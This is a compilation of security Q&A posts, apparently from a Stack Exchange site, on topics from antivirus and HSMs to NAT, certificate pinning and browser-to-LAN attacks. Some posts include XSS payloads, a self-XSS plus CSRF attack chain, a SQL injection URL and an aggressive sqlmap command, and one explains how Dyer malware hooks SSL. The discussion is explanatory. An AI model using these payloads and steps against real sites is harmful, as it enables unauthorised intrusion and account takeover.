The antivirus question is easy, you'll be wanting ClamX. It is an OSX port of the venerable ClamAV engine. It is widely considered to be the default AV for Unix/Linux systems.

For your other question, free utilities that have good Mac integration may be hard to come across. The best tool I can think of would be a software firewall called Little Snitch. Since you can have it ask you to approve connections, as well as define what applications are allowed to talk to where, you might be able to accomplish what you need.

Now, with all that, keep in mind that if your computer is already infected, you can't trust the output of either of these applications. Clever viruses will just bypass the applications and continue working anyway. Applications like this are really useful for preventing yourself from being compromised, or detecting lame infections.


HSM Software Vs HSM Hardware Can I have a software version of an HSM? I have a client that requires me to connect to its HSM, but I don't have any. Can I get software to do this job?

The spec document speaks of MAC key & PIN key.

These are acquired from the ERP. The network management request is used to  download which we have to test.
Once we have the PIN block, we prepare the transaction request that also contain the MAC Extended field. The request is sent to ERP for approval. This is also to be tested.

Yes technically you can do, or get, the same functions in software but more realistically No because the purpose of the HSM is to do it in Hardware and not Software.

https://en.wikipedia.org/wiki/Hardware_security_module

Most likely your client is looking to achieve specific security control needs or meet a regulatory requirement. Your best bet is to identify the source of the requirement and then investigate whether other security controls, or your proposed solution, can mitigate the specific risks your client is concerned with.

There are free software HSM solutions (I have never used this and it's not a recommendation per se):

https://openvz.org/Virtual_HSM

Finally if the reason you are asking is because you are hosting your product on a cloud compute platform you may want to look at Amazon's Cloud HSM. Lots of companies have been using this for years.

https://aws.amazon.com/cloudhsm/


Would it be okay to check only a part of a hash value Practically, the hash value of a server host key can be (relatively) long and thoroughly compare it with the record again and again can be annoying. For example, for a given md5 hash value:

43:89:1b:62:fa:5c:86:cf:57:fd:2d:e2:a1:12:9e:d1

What if I only check the first half of it, namely:

43:89:1b:62:fa:5c:86:cf?

Would I still get 50% security compared with checking the whole string?

What if I check the first 25% and the last 25% of the fingerprint?

PS: Programs like WinSCP and PuTTY only show the fingerprint through a pop-up window and thus I cannot copy the fingerprint and use a comparison program to compare two values.

If you check only the first half of the host key you reduce the checked bits from 128 bits to 64 bits. Since there are not 2 keys but 2^64 keys which share the first 64 bits the security is not reduced by a factor of 2 but by a factor of 2^64, i.e. you don't get 50% security but 5e-18% security.

Note that even the reduced check of 64 bit might still be sufficient depending on the kind of attacker you expect. But, since you usually only need to check the host key on the first connect to a new system or on the first connect from a new system it might be worth the effort to spend a few seconds more to check the key more thoroughly.


Can a magical packet traverse thru a NAT? In the case of "normal" tightened security where no DMZ, Port Forwarding is setup is it possible with any of the available NAT traversal methods for a magic packet to traverse thru a NAT from the outside network (Internet) and wake up a PC?

The question relates to both IPv6 and IPv4.

Update:

Indirectly related question to spark brainstorming/discussion: With IPv6 do we need to use NAT any more?

Also interesting: https://serverfault.com/questions/782627/udp-hole-punching-still-required-in-ipv6-even-without-nat

Common NAT* as implemented in SoHo routers (i.e. DSL, FTTH, cable etc) maps multiple internal (local) IP addresses to a single external (public) IP address. Reaching an internal system from outside  requires a way to translate a packet coming in on the external (internet) interface (i.e. using the external IP+port as destination) to a packet on the internal network (using an IP+port on the internal network as destination).
With port forwarding, there is a predefined and fixed translation to a specific host and port.

Any other translation in NAT needs an outgoing packet from the internal to the external (internet) network first: the necessary translation from internal IP+port to external in the NAT table is only created if an outgoing packet creates a new state, like in a stateful firewall. If an incoming packet matches such a state/translation then the external IP+port can be translated back into an internal IP+port. If there is no state/translation then it is unknown how the packet should be translated and thus it gets discarded.

In other words: there is no magic packet that can pass through NAT because it is unknown which internal system this packet should be sent to.

But note that this does not mean that no direct access to internal systems can be initiated from outside. With IPv6 it is possible that the ISP assigns a customer a range of IPv6 address with the same prefix and the router makes these addresses usable in the internal network. Unless the router specifically blocks direct access an internal system could be reachable from outside by its public IPv6 address. But this is not traversing NAT since no NAT is involved here.

Additionally some routers erroneously make UPnP accessible on the external interface. This could allow an attacker to create explicit port forwardings on the router in order to access internal systems. But, this is still not a magic packet traversing the NAT.

* Note that there are also other type of NAT, where some set of public IP addresses gets translated to a set of local IP addresses. This might for example be used to map a range of local IPv4 addresses into a set of publicly accessible IPv6 addresses with the same prefix. I don't know of any SoHo router which offers this functionality.


Capture query to MySQL in Server I want to capture queries to MySQL from my web-application on my Linux-based Server. MySQL port is 3306 and my web-application in on port 8181. So I started using tcpdump as follow:

# tcpdump -x "port 3306"

Now I browse my application and make some queries to Data-Base but I get nothing in tcpdump console.
I also tried this:

# tcpdump -i eth0 -s 0 -l -w - dst port 3306 | strings | perl -e '
while(<>) { chomp; next if /^[^ ]+[ ]*$/;
  if(/^(SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER)/i) {
    if (defined $q) { print "$q\n"; }
    $q=$_;
  } else {
    $_ =~ s/^[ \t]+//; $q.=" $_";
  }
}'

But I got nothing either. I really don't know what is the problem. When I checked servlet code on my server, I can find Data-Base connection is established on port 3306:

Class.forName("com.mysql.jdbc.Driver");
    cnn = DriverManager.getConnection("jdbc:mysql://localhost:3306/OTP?useUnicode=true&characterEncoding=UTF-8", "blahblah", "blahblah");

can any one help me with this?

Ok, I figured it out. Since the application send local query to local database, in order to capture these queries I should capture lo packets with tcpdump:

# tcpdump -xx -i lo

This works perfectly.


Is an unknown directory structure considered security by obscurity? I have a static website and it's security depends on people not knowing that a secret file is at example.com/Path/To/Secret/File.pdf. Assuming that the path to the the file is not randomly generated, is this safe?

Update: the path is not that obscure. It would be like domain.tld/Files/Password.txt. Not anything like GUID or random strings.

To answer the question in the title, yes, that's security through obscurity.

While the security community generally frowns upon that, in some situations that can be appropriate - for instance, semi-private files on a CDN, with a long random-ish string in the URI, that need to be accessed by a variety of clients for whom handling authentication is difficult.

Your situation, though, is a bit different, in that you explicitly are not using a hard-to-guess filename.  This means that someone who has never been given access to the file still has a reasonable chance of finding it.

A broader problem with this sort of security is that you cannot easily revoke access for specific users.  If one person has been granted access, they continue to have access, which can be a problem if, say, they were an employee and they've now left the company.  It also allows them to send the link to others, either publicly or privately, and those others will now have access, even if you did not intend to grant it to them.  Again, in some situations this is acceptable (if it's a file that isn't frequently updated, they could simply save it onto their computer and achieve the same thing), but this will depend on your situation.


Is ECDSA breakable by quantum computers? Is ECDSA secure from quantum computers? Will quantum computers be able to calculate it's private keys from the knowledge of the public key once there are working quantum computers?

Short answer: Yes.

  Elliptic curve cryptography is vulnerable to a modified Shor's algorithm for solving the discrete logarithm problem on elliptic curves.


Why wasn't the KRACK exploit discovered sooner? From what I've read, the issue is as simple as performing step 3 of a 4-step handshake and the consequences of performing that step more than once. Considering the complexity of these kinds of algorithms, I'm somewhat surprised that it is so 'simple' of a concept.

How can it be that a system of this complexity was designed without anyone thinking about what would happen if you performed the step twice? In some sense, it feels like this should have been obvious. It's not really a subtle trick, it's a relatively blatantly obvious defect, or at least that's the impression I'm getting.

The 802.11 specification that describes WPA2 (802.11i) is behind a paywall, and was designed by a few key individuals at the IEEE. The standard was reviewed by engineers, not by cryptographers. The details of the functionality (e.g. retransmission) were not widely known about or studied by security professionals.
Cryptographer Matthew D Green wrote a blog post about this subject, and I think this section sums it up quite nicely:

One of the problems with IEEE is that the standards are highly complex and get made via a closed-door process of private meetings. More importantly, even after the fact, they’re hard for ordinary security researchers to access. Go ahead and google for the IETF TLS or IPSec specifications — you’ll find detailed protocol documentation at the top of your Google results. Now go try to Google for the 802.11i standards. I wish you luck.
The IEEE has been making a few small steps to ease this problem, but they’re hyper-timid incrementalist bullshit. There’s an IEEE program called GET that allows researchers to access certain standards (including 802.11) for free, but only after they’ve been public for six months — coincidentally, about the same time it takes for vendors to bake them irrevocably into their hardware and software.


implications of incomplete TCP handshake session In network security, why do we care about knowing incomplete TCP handshake sessions? Is there a security implication behind this?

Many scanners which are used to detect open ports use incomplete or bad TCP handshakes.  Sometimes they are also used in DDOS attacks, but if that were true you would have 100's to 1000's a second.

There are SYN scans,xmas scans, and more.
They are doing forms of recon on your IP addresses.

I get scanned all the time, like 100+ a day.


Encrypted email from outlook to other I have recently setup S/MIME in Outlook for my company's employees to send encrypted and digitally signed emails to one another. Is it possible to send encrypted emails to other email platforms from Outlook? If not, then what is the safest way to transmit sensitive information over email?

Encrypted E-mail requires a bit of work by somebody.  You've done the work for your users.  Now the question is what's going on at the other end.   The person on the other end will need to create (or have created for them) an SMIME certificate and private key.  Then the folks at each end will want to exchange SMIME certificates.

Many mail clients can be configured to send out the user's SMIME cert as an attachment so that their correspondents will have a copy of it after receiving a single unencrypted message.  This allows the folks at the other end to use that cert to send an encrypted message to the user.

The tough part is getting folks on the far end to generate their own keys & cert and getting that cert into the hands of your users so that they can send encrypted messages outbound.  Sorry to say, but getting that cooperation from the far end may not be easy...


Use subject key identifier for certificate pinning As said here, certificate (or public key) pinning refers to a certificate (or a public key) which is hardcoded in the app that we want to protect and then compared to the one provided by the server.
But

Can we use the Subject Key Identifier for "certificate" pinning
?
Is it secure to rely only on the SKI ?
Are there other fields that we could use for pinning securely (e.g. Certificate hash) ?

Thanks

Can we use the Subject Key Identifier for "certificate" pinning ? Is it secure to rely only on the SKI?

The Subject Key Identifier (SKI) is a field (X509v3 extension) contained in the certificate. Even though it is typically derived from the subject and public key it does not need to be.

This means that an attacker could easily create a certificate which contains a specific SKI which would get accepted if pinning is done against the SKI. This of course makes it unusable for secure certificate pinning.

  Are there other fields that we could use for pinning securely (e.g. Certificate hash) ?

The certificate hash is no field of the certificate but it is simply a hash over the certificate. Provided that a secure hash is used (i.e. SHA-256) it is usable for certificate pinning. One could of course also store the full certificate for comparison instead of only a hash of it.

Useful for pinning is also the public key or a secure hash of the public key. This makes it possible to accept multiple variants of the same certificate with different expiration times as long as the public key stays the same when reissueing the certificate. But this is usually called public key pinning, not certificate pinning.


How is the new "Dyer" malware bypassing SSL? Apparently the new Dyer malware is bypassing SSL to swipe bank credentials. I read that it's using "process hooks" to hook the browsers and see the data BEFORE it is encrypted and sent to the bank server (using the keys from the initial SSL handshake). Can someone elaborate as to how this is achieved? and is this at the same threat level of a keylogger capturing your keystrokes or is it more covert and dangerous?

When an application "uses SSL", it actually loads a system DLL which implements the protocol. Each process maintains, in a specific zone of its address space, the list of DLL it has already loaded and where (this is under the management of the dynamic linker); a malware that can run on your system with enough local privileges will simply poke into these memory structures so that when the application wants to load the SSL implementation, it is actually redirected to a malware-controlled DLL. The malware will faithfully forward all calls to the true SSL-implementing DLL, but will also keep a copy of the data.

All these manipulations are in RAM and thus leave no permanent trace. Of course, the malware still has to "be there" and it wants to resist reboots, so it will normally leave a hook somewhere, modifying a system DLL or executable so that it is invoked again when the machine reboots.

(Nobody knows why any specific vulnerability or malware suddenly becomes the most important news in a decade and triggers a worldwide panic, while dozens of similar or even more dangerous virus just fly by with nothing more than a collective "meh" from a few specialist. The "heartbleed" case is a good example of a bug going viral for no perceivable reason.)


QR codes that can't be copied - possible? I assume this is impossible, but I need to find a barcode (that can contain a url, i.e., a QR style one).

It has to be photographed by our smartphone app, but the image will not be changed over a period of weeks or months and has to be on paper.

No matter what we put in the barcode, we always come up with the same flaw: someone could photograph the QR code, print and rescan.

Which is what we are trying to avoid: unauthorised scans of the barcode.

The barcode will only be shown to the phone for a few seconds, and won't be easy available otherwise.

We thought of using AGPS to get the location, however a malicious user could photograph and print the code, then scan near the location they originally got it (which will never move).

So, to sum up: we need a barcode that can contain a url that will only change every few weeks/months that needs to be scannable by a smartphone, that can't be scanned without permission, without interaction with the device except by the owner (i.e., the person who has the barcode can't use the device to scan).

This is a bad idea.

To understand why, imagine there is no QR code, just a human-readable display of the URL.

Now, would you base a security scheme around keeping this URL secret? Of course you wouldn't, it is the rankest security by obscurity.

If you want to keep the url fairly confidential, do so without any advanced wizardry, but you need your security to be secure even if everyone knows the URL. Implement authentication on access to the resource, not (just) on access to the resource name.


How to identify unknown device that's ARPing on my network? I can't find the device which is sending the ARP requests. The first three octets of the MAC address are 00ae13. But they are not assigned to a known manufacturer.

Does anybody have a clue what kind of device this could be?

If you happen to use managed switch(es), you could log into your switch(es) and look into their forwarding table to see on what port of the switch is registered this mac address. You could then follow the trail up to its source.

The way to look at the forwarding table depends on the manufacturer of your switch(es). If your switch has a command line interface and you're familiar with terminal, try "show mac-address" (I know it to work on both my HP and Brocade switch). Else look at the Web GUI.

If your switch is not managed, or you don't have access to it, maybe you could find whose sending by capturing these arping packets on various places of your network: try sniffing the network using wireshark or tcpdump on suspicious VM, or on the physical network interface of your ESXi...

my 2 cents   :)


How to exploit XSS vulnerability through an iframe Recently, I found a stored cross site scripting vulnerability in a rather large website, but I am not sure if it is dangerous or worth reporting. On this website, there is a resource section that is accessible by logged in users, where they can post certain personal resources that can be used only by themselves. It is not possible to share a resource to another user. Also, there is also a portfolio page, where you can make things public. I found two possible vulnerabilities, but I am asking to see if they are dangerous at all.

Stored XSS : The first vulnerability includes the resources page, where you can post a link. The first time you post the link, it is sanitized, and you cannot get anything useful through. Upon editing the link, though, it is not sanitized, and you can easily insert a <script>alert(1)</script> or a <script>window.location.href="https://google.com"</script>.

HTML Injection : On a different page called portfolio, a user can construct a portfolio and add resources. This page does not have the same XSS vulnerability as the previous page, and it is impossible to get javascript execution as far as I know. However, it is possible to insert an iframe into it. The iframe src cannot contain any javascript, but I can make the src lead to my resources page (where the stored xss vulnerability is located), to get javascript execution on the public profile page.

The Problem : The problem with this vulnerability, is that it only works when I view the portfolio page, because the resources page in the iframe is only accessible to me. The resource page link is possible to access using only one session cookie (my session cookie) when viewing it. Is there any way that I could pass my cookie into the iframe so that the xss vulnerability could be viewed on any user? Could I pass the cookie as a http header (there is a 'Set-Cookie' header). If I use an iframe, can the child access the parent's cookies? Is this even a vulnerability / can I make it work? Thanks so much!

This is called Self-XSS.

It can be usefull if you can combine it with a csrf vulnerability on the auth.

Insert the XSS
Trigger a user to visit a controlled page
Use a csrf vulnerability to log off this user and connect him to your account
Redirect him to your infected page

Or as @reed suggest, use a csrf vuln to edit the link on the victim account and redirect him to the infected page.


Does opening an arbitrary file in a language (such as Python) pose a security risk? For example, if a client submits a file to a server, and the server opens the file in read-mode with Python:

with open(uploaded_file, "r") as f:
    # Do something

Could the act of opening a file be abused with a cleverly-crafted file from the client?  Does it depend on the language used by the server?

No.

If the filename is controlled by the user, then you might open yourself up to vulnerabilities (e.g. an attacker might try to read config files with the database password). But just opening a file handle for an uploaded file can't do much.

Perhaps if the underlying mechanism would try to read the whole file for buffering purposes, it might fill up RAM and crash the process, but Python doesn't do that: to read the whole file, you would first have to call f.read() -- but that is just what you do with it, and not opening the file. Only opening the file is harmless.


Is a 'dumbphone' mobile more secure for basic phone calls than a smartphone? By dumbphone I mean: no internet connection, very limited features, etc.

By more secure I mean: secure from malicious and direct hacking. I don't mean as in protected from government tapping/snooping; I don't mean from authorities who could be granted access somehow, through the mobile operator company.

Has the security of the basic phone call changed much, in the last 10 years ? Obviously smartphones have an endless number of new security holes as time goes on, a quick browse of Apple's security updates history, or searching Android in the tech news, proves this. But I'd suspect most of these vulnerabilities can be utilised because of the frequent connections to the internet made with them.
So, do smartphones utilise anything new [purely in] the initiation and connection of just the phone call itself ?

Has the security of the basic phone call changed much, in the last 10 years ?
So, do smartphones utilise anything new [purely in] the initiation and connection of just the phone call itself ?

Yes. There are new technologies used to establish phone calls in cellular networks. Those new technologies mitigate some attacks which were possible due to flaws in the older ones. So if you use a "dumbphone" that runs on the older technologies you are subject to those attacks (i.e. the inverse is true, the smartphone is in this respect more secure).
The technologies used in the cellular networks basically evolved over time like this: 1st generation (analogue), 2nd generation (GSM etc.), 3rd generation (UMTS etc.), 4th generation (LTE etc.).
If you use a device running for example the GSM technology, an attacker might intercept your calls with hardware costs of only about $30 USD. Intercepting calls made with the newer technologies is harder up to a point where only nation state attackers can perform them.


SSD Self Encrypting Drives - Setup / warm boot bypass I've seen folks deploying the SED on laptops recently.  I've discovered that there is a setting in which you can do a warm boot and NOT require the bootup password to be put in again.  Which makes sense given you'd of had to of already logged in at one point.

Question being is that it would seem that there could be a means to trick the bootup into believing it's a warm boot vs hard boot... I've seen cases where you can still get into bios, you can't change the SED password there without knowing it but it does give one the ability to boot off other devices... usb, etc.

Thoughts or am I simply missing how it works and this is a non issue?

TL;DR I expect it to be a non-issue provided both the disk and the BIOS manufacturers know their stuff. Otherwise there's a very slight possibility of it being an issue after all.

The disk encryption password scenario depends on the BIOS. If the BIOS supports the caching feature, then it can cache the password between warm boots, and re-supply it to the drive unit.

Were you to succeed in tricking the BIOS into doing a warm boot instead of a cold boot, normally the BIOS should realize that the password cache is not valid, and lock down, or force a cold boot anew.

The thing that can't be worked around is that the drive can not be successfully decrypted unless the correct password has been loaded into it. In theory the drive should resist an attempt to boot without a valid password. At the very least, being unable to decipher the first sector would make the disk effectively unbootable.

However, if the specific implementation allowed bypassing this (for example, it could be argued that a boot sector is effectively a crib, and so should best be left unencrypted not to provide clues for be-it-ever-so-unlikely bruteforcing), then the system might attempt to boot. The consequences, while unlikely in the extreme, can be serious, all the way up to a permanent data loss due to some disk information being overwritten.

There's also a very slight possibility that what you propose might work.

The volatile memory being used in computers is not actually that volatile, and data have been recovered from RAM chips extracted by powered off computers. Of course the probability of a successful recovery decreases enormously with time (as well as with room temperature - warmer chips degrade faster).

Unless the BIOS performs some kind of scrub, or thorough check, at warm boot too, expressly designed to defeat bit lingering, it is (remotely) possible that:

the cached password is actually stored in a BIOS data area, not on the disk
the disk does not actively react to power loss or cold boot in any way, in particular by resetting the "PASSWORD REQUIRED" flag.
a "cold boot attack" can trick the BIOS into not resetting this area, nor informing the disk of the coldness of the boot
the BIOS data area is still intact and readable

If all that were the case, then you could power up the computer, the BIOS would read the password off uninitialized memory, except that it would not be uninitialized - it would contain the previous password. And you would have your SSD readable. If the last condition was not met, the password would be degraded, and you would find the computer unbootable; but no data would be lost (since no disk boot would occur), and you could try again (after the correct password has been entered at least once more).

However, by looking around, it seems that the industry has considered this problem. For example here you can read,

  The data encryption key does not leave the drive, hence preventing cooled-RAM attacks...

The feasibility of a "cooled RAM" attack is exactly one of the requisites listed above (cooling the target RAM increases likelihood of its data to remain readable). This means that what the BIOS does is just to inform the disk drive that the boot was warm, not cold. If it was cold and the BIOS lied to the disk drive, this would yield nothing - the fact that the boot is actually cold means that the password is not on the disk (again: unless it is the disk itself that suffers from a cooled-RAM vulnerability), so the boot would proceed and find a unreadable, unbootable disk.


Which mobile phone OS implements or plan to implement data protection using keys derived from passwords per NIST SP800-132? NIST has released Special Publication 800-132: Recommendation for Password-Based Key Derivation which is meant for protection of stored data using encryption keys derived from user password. This seems to be the ideal method (FIPS140-2 Approved) for protecting user data on cell phones, as the encryption key is tied into the user password, thus decryption is only possible with user disclosing his/her password (nobody, including cell phone/cell phone OS manufacturer can decrypt user data if user does not disclose the password). Do you know of an cell phone OS (Android, iPhone OS, Symbian, other) that plans to implement this data protection mechanism?

It seems that current user data protection mechanisms implemented on iPhone iOS 4 are sub-par.

iOS 3 and 4 used PBKDF2 for internal encryption. iOS 5.0 and later provides the CommonCrypto/CommonKeyDerivation.h PBKDF2 library supporting key derivation through CCKeyDerivationPBKDF.

Android 3.0 and later uses PBKDF2 for filesystem encryption.

Windows Phone 7.1 and later provides the Data Protection API that contains PBKDF2 functionality.

Blackberry provides it also but had an issue in the past.

  In September 2010, ElcomSoft announced a password cracking utility for
  Research In Motion BlackBerry device backups that takes advantage of
  what Vladimir Katalov, ElcomSoft's CEO, described as the "very strange
  way, to say the least" in which the BlackBerry uses PBKDF2.
  BlackBerries encrypts backup files with AES-256. In turn, the AES key
  is derived from the user's password using PBKDF2. However the
  BlackBerry software uses only one PBKDF2 iteration, thus not taking
  advantage of the key security features of PBKDF2.


SQL injection with single statement query Suppose I had a vulnerable query like this:

var q = 'SELECT x FROM y WHERE id = ' + req.body.id + ' ORDER BY date DESC;';

For the purposes of this question, req.body.id could be any integer parameter that isn't type-checked as everything over HTTP is a string.

Since the MySQL extension disables multi-statement queries by default, I can't do something like:

http://example.net/foo?id=1;INSERT INTO y VALUES (things...);--

Is it possible to execute a data manipulation statement (such as INSERT, UPDATE, DELETE) with this vulnerable query?

Injecting a stack-query statement is only possible if the target application is using the MySQL Multi-Query interface.  The vast majority of SQL injection does not permit query stacking.  Query stacking is useful,  but you can access the database and even pop a shell without it. SQLMap can perform these attacks.

Query stacking is used more commonly in documentation about sql injection than in the real  world.  This is probably because it is easiest to explain sql injection using a query stacking demonstration.


How do I exploit with vunerability in special format with sqlmap? I used ZAP proxy to determine that login was injectable with GET request as login" AND "1"="1 was injectable, but it returned the url to me in this format:

https://example.com/login%22%20AND%20%221%22=%221

I have checked, and it is injectable at that point, but I don't know what parameters to use to exploit it. My current setup, with redirects disabled (not shown), is not working. Here is the setup:

sqlmap -u "https://example.com/login%22%20AND%20%221%22=%221" --level=5 --risk=3 --fingerprint --common-tables --dbs --all --common-columns --technique=BEUSTQ --keep-alive --dependencies --hex --timeout=120 --time-sec=10

For some reason, even with between disabled, sqlmap is changing
login" AND "1"="1 to #1*

This URL is https://example.com/login" AND "1"="1. You can not use like that for this parameter.
SqlMap has an option that you can use * char:

URI injection point
There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (*) after each URI point that you want sqlmap to test for and exploit a SQL injection.
This is particularly useful when, for instance, Apache web server's mod_rewrite module is in use or other similar technologies.
An example of valid command line would be:
$ python sqlmap.py "http://targeturl/param1/varlue1*/param2/value2"


In practice, does crypto software accept a *.com or or even a *. certificate? Assuming this will be done with your own PKI, and not a public trusted CA.

Considering that *.sub.domain.com is valid, and so is *.domain.com is valid, is it technically possible to issue *.com and even a *. certificate?

The certificate I'm investigating is a "*." certificate being used for any other domain name such as "https://google.com" and then performing MITM attacks.

Will any certificate validation framework support a *. certificate?  Will it be rejected outright, or will normal validation rules apply?

From RFC-2818 - HTTP Over TLS:

  Matching is performed using the matching rules specified by
     [RFC2459].  If more than one identity of a given type is present in
     the certificate (e.g., more than one dNSName name, a match in any one
     of the set is considered acceptable.) Names may contain the wildcard
     character * which is considered to match any single domain name
     component or component fragment. E.g., *.a.com matches foo.a.com but
     not bar.foo.a.com. f*.com matches foo.com but not bar.com.

So I believe it would be possible to do something like have a certificate that matches a very wide variety of URLS: *.com, www.*.com, and ssl.*.com.  You may want to try double-wildcard certificates (e.g., match *.*.com), but most browsers will not (and should not) accept them.

I also would not be the least bit surprised if modern browsers disallowed wild cards in the next level down from top level domain (e.g., *.com).


HTTPS form submissions are blocked on corporate networks We have an HTML form which is submitted via HTTPS. We've noticed that when the form is submitted on a home network, it seems to go through just fine. However, when the form is submitted on certain corporate networks, the data seems to disappear (the browser doesn't yield an error message but the POST data never hits our server).

We checked our SSL certificate installation at http://www.digicert.com/help/ and everything checked out okay. The intermediate certificate is also installed correctly.

Since our SSL certificate was issued by Starfield Secure Certification Authority (a subsidiary of GoDaddy), which is a newer player on the SSL market, we're beginning to wonder if some older corporate firewalls are blocking these HTTP requests because they don't recognize the issuer. Is this possible? If so, is there any solution besides purchasing a certificate from a more recognized issuer (e.g. Verisign)?

GoDaddy offers the option to choose between GoDaddy and Starfield as the issuer. We chose Starfield to avoid the name 'GoDaddy' on our certificate, but would it help to switch the issuer to GoDaddy?

Data doesn't really get lost but error messages in communication protocols might not be passed to the user by web applications or browsers.

You need to debug the problem on a lower layer. To see the actual communication between browser and web-server you can use an interception proxy such as Burp or Paros Proxy. These proxies will show even encrypted HTTP communication. You can see where the data is being sent and what is the response of the server. If no data is being communicated then the problem is on a lower layer.

Using Wireshark, you can debug TCP and SSL communication issues. This is the layer where most firewalls operate. Even firewalls that block traffic may send some data to show why a packet was blocked.

Using a less known CA should not be a problem except for very paranoid firewalls. There are many less known CAs as you can see from this map and Starfield is also issuing Extended Validation Certificates.


Someone logged on my Centos VM; Can they attack the host OS? I'm using Windows 7 and decided to learn Linux Administration (Centos 6.4) using Oracle VirtualBox to host the Linux system.

In my network configuration I choose "Bridged Adapter". I set the VM's IP to 192.168.1.104 and my Windows host is 192.168.1.100. As I do not have much RAM I did everything using SSH. SSH was set to the default (port 22, root login allowed). I also set on my router DMZ to this VM to be able to use this VM from everywhere.

Today I have checked logs (/var/log/messages, /var/log/auth) and found that few IPs tried to logon to my server and some of them succeeded.  Although I have nothing important on this server, I am wondering if someone could get to my  Windows environment (the host) or set sth on my local network to spy on my real system. I have no knowledge in this field and I would like to know if my windows system is somehow in danger.

For the time being, I have disabled ssh to my server.

The short answer is "Yes, anything is possible."

The long answer is "Maybe, but without more information it's virtually impossible to tell."

You should consider that CentOS VM compromised, remove it from your network and also check the logs on any other systems that were online / connected at the time the unauthorized access occurred.

First, here's something to get you started with CentOS security - one of the first google results for "CentOS hardening":

http://www.slideshare.net/myowntelco/centos-linux-server-hardening

This is a pretty decent slideshare with configuration examples and explanations.

Secondly, consider using port-forwarding instead of exposing that machine completely to the outside world: forward only the ports you absolutely need.

Thirdly, set SSH to use Public/Private keys for authentication instead of passwords:

http://wiki.centos.org/HowTos/Network/SecuringSSH

Using Public/Private key authentication with SSH ensures that no one will just be able to "guess" your password: they'll need your private key.


What influences the speed of rendered php page using encryption I've built a web app which uses the openssl_private_decrypt() functions.

The rendering of a page with 15 messages encrypted with these functions takes remarkely longer as the ones without. (3-4 times)

The application runs on a simple VPS with 1024mb RAM and 2.5ghz (1core).

If I want to speed up the encryption/decryption process; what is the best to upgrade? RAM or CPU?
What defines the speed of the encryption processes?

If I am to believe the documentation (a bold notion indeed), the openssl_private_decrypt() function does symmetric decryption with RSA, using OpenSSL (the library) for the actual cryptographic work. On your VPS, you can run the following command to benchmark OpenSSL:

openssl speed rsa

This will give you the speed of RSA private and public key operations on your machine. On mine, I get 833.7 private key operations per second for a 2048-bit key; 15 successive calls would hardly be noticeable. However, your VPS might be
considerably feebler than my 3.1 GHz E3 Xeon. Also, you might have used an oversized private key (computation time is mostly cubic in the key size). If the benchmark shows that the RSA decryption speed is indeed the problem, then you may do the following:

Use a smaller key. The normal RSA key size is 2048 bits; there is no need to go beyond that (2048 bits are enough for security for, at least, the 30 next years). 1024 bits are no longer recommended, though this is not breakable yet (it can plausibly be done with existing technology, but it will entail building a quite expensive dedicated machine). If you are short on CPU power, you might want to try a middle-ground, e.g. a 1536-bit key. Do NOT go below 1024 bits.
Add a bigger CPU. RAM is not relevant. Having more CPU helps only for parallel processing, i.e. several users accessing the server simultaneously.
Do something else. You do not describe your usage context, but chances are that if you need to do 15 RSA decryption on a single page, then you are doing something wrong. For instance, I surmise that you may have noticed that RSA encryption works only up to a limited size (117 bytes for a 1024-bit RSA key), and that you might have decided to encrypt a longer message by splitting it into 117-byte long blocks and applying RSA on each of them separately. This path leads to suffering. Don't do that. Do hybrid encryption (but if I have to tell you that, then you don't know enough to do anything secure yet).

(Every time I look at what PHP does with crypto it fills me with dread, disgust, and a sense of impending doom. People who can design a function called openssl_public_decrypt() for "decrypting data with the public key" are people who apparently heard before 1993 but did not bother to check whether science had somehow progressed in the last 20 years. Are you sure you want to use such tools for anything which requires actual security ?)


Node certificate vs admin certificate I tried to understand what is the difference between node and admin certificate.
Admin certificate is like root and the node certificate is just for communication with others nodes?

Answer from:  https://security.stackexchange.com/users/6253/schroeder

Configure node certificates

  The Security plugin needs to identify inter-cluster requests (i.e.
  requests between the nodes). The simplest way of configuring node
  certificates is to list the Distinguished Names (DNs) of these
  certificates in elasticsearch.yml. All DNs must be included in
  elasticsearch.yml on all nodes.

Configure admin certificates

  Admin certificates are regular client certificates that have elevated
  rights to perform administrative tasks. You need an admin certificate
  to change the the Security plugin configuration using
  plugins/opendistro_security/tools/securityadmin.sh or the REST API.

https://opendistro.github.io/for-elasticsearch-docs/docs/security-configuration/tls/#configure-node-certificates

Thanks.


Can websites access computers in LAN/Localhost through browser & how to block them? Question 1: While browsing internet, can websites execute code through my browser that access websites or services that are hosted on Localhost or LAN?

Question 2: Also, can data from intranet websites/services be scraped/hacked/stolen through code that is run by remote site through my web-browser?

Question 3: Do modern web browsers protect from these kind of attacks and how?

Question 4: How to isolate Localhost and Intranet access from browser?

Most browsers don't distinguish between WAN, LAN and local host. This means they apply the same policies and restrictions for cross-site requests from WAN to LAN as between different sites on the WAN or between different sites on the same LAN.

This especially means that cross-site attacks like CSRF are possible, and such attacks are also used in practice for many years - see for example Large-scale attack hijacks your router through your browser.

And while CSRF can only cause unwanted actions (like change DNS settings of a router) but not be used by itself to exfiltrate data from inside other attacks can: if you have an internal site which is accessible by WebSockets it can also be accessed by default from outside by using the browser as a trampoline (Cross-Origin WebSocket). The internal site would explicitly need to check the Origin of the request in order to stop this access (i.e. open and insecure by default). Other attacks which make exfiltration possible are XSS attacks against internal sites or DNS rebinding. Also, explicitly set insecure settings of Cross-Origin Policies (CORS) on internal sites can be used for exfiltration too. And there might be more possible by using Flash.

Preventing this access is hard since most browsers do not distinguish  between internal and external sites. This means it is expected that internal sites have the same protection as external sites. Even a perimeter firewall which is used to protect the internal LAN from outside attacks will usually not prevent such access since these attacks work at a layer not visible to most firewalls.

One way to restrict such access is to use multiple browsers (or profiles) - one for internal and one for external sites. The access could be restricted by allowing internet access only through an explicit proxy: One browser will have the proxy configured for all sites and can thus only access external sites providing that the proxy does not allow access to internal sites. The other browser has no proxy configured and can thus internal but no external sites. This strict separation stops cross-site access between external and internal through the browser. But it probably impacts usability in most environments.


Are CVE counts a good indicator of a software's security? Looking at the count of CVE reports by product, I'm tempted to use it as an indicator of which programs are the most secure, and choose the ones I install accordingly.

But I wonder if these numbers are misleading. For example, the Linux kernel is second in the list and Windows 10 is not even mentioned. I suppose it's in part because of the open source nature of Linux, which makes finding and fixing the flaws easier and faster, increasing the number of CVEs.

Another thing that I find interesting is that, while Chrome has more vulnerabilities listed in 2016 than Firefox, there are a lot more code execution flaws in Firefox, while a big part of Chrome's flaws are DoS attacks, which are way less severe.

